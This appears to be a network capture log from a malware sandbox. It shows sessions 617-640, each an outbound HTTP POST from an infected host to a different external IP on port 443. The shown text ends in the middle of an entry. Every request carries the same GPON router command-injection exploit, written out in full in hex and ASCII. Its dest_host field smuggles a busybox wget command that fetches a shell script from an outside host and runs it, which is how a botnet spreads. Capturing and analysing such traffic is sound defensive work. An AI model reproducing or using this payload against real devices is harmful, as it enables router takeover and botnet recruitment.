Mar 21, 2024 05:22:14.228914976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.14	37252	118.127.78.19	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.228950977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.14	43502	118.92.90.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.228960991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.14	44924	5.217.113.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.228987932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.14	41340	2.27.253.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229024887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.14	51810	37.79.238.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229038000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.14	39128	212.142.228.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229100943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.14	55758	178.167.181.3	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229113102 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.14	40366	37.131.47.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229136944 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.14	55788	109.114.154.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229167938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.14	60028	94.61.88.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229199886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.14	50844	109.26.27.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229226112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.14	51950	210.70.214.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229258060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.14	48144	109.181.89.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229280949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.14	41344	178.249.39.162	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229300022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.14	43492	37.213.229.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229332924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.14	39556	109.92.176.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229372978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.14	42236	42.45.215.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229396105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.14	45570	79.193.95.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229441881 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.14	39092	210.144.150.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229476929 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.14	51674	5.33.12.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229505062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.14	38008	79.254.233.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229531050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.14	47272	212.230.125.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229568958 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.14	41476	212.85.163.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.229583025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.14	44590	37.184.41.233	443

Timestamp	Bytes transferred	Direction	Data
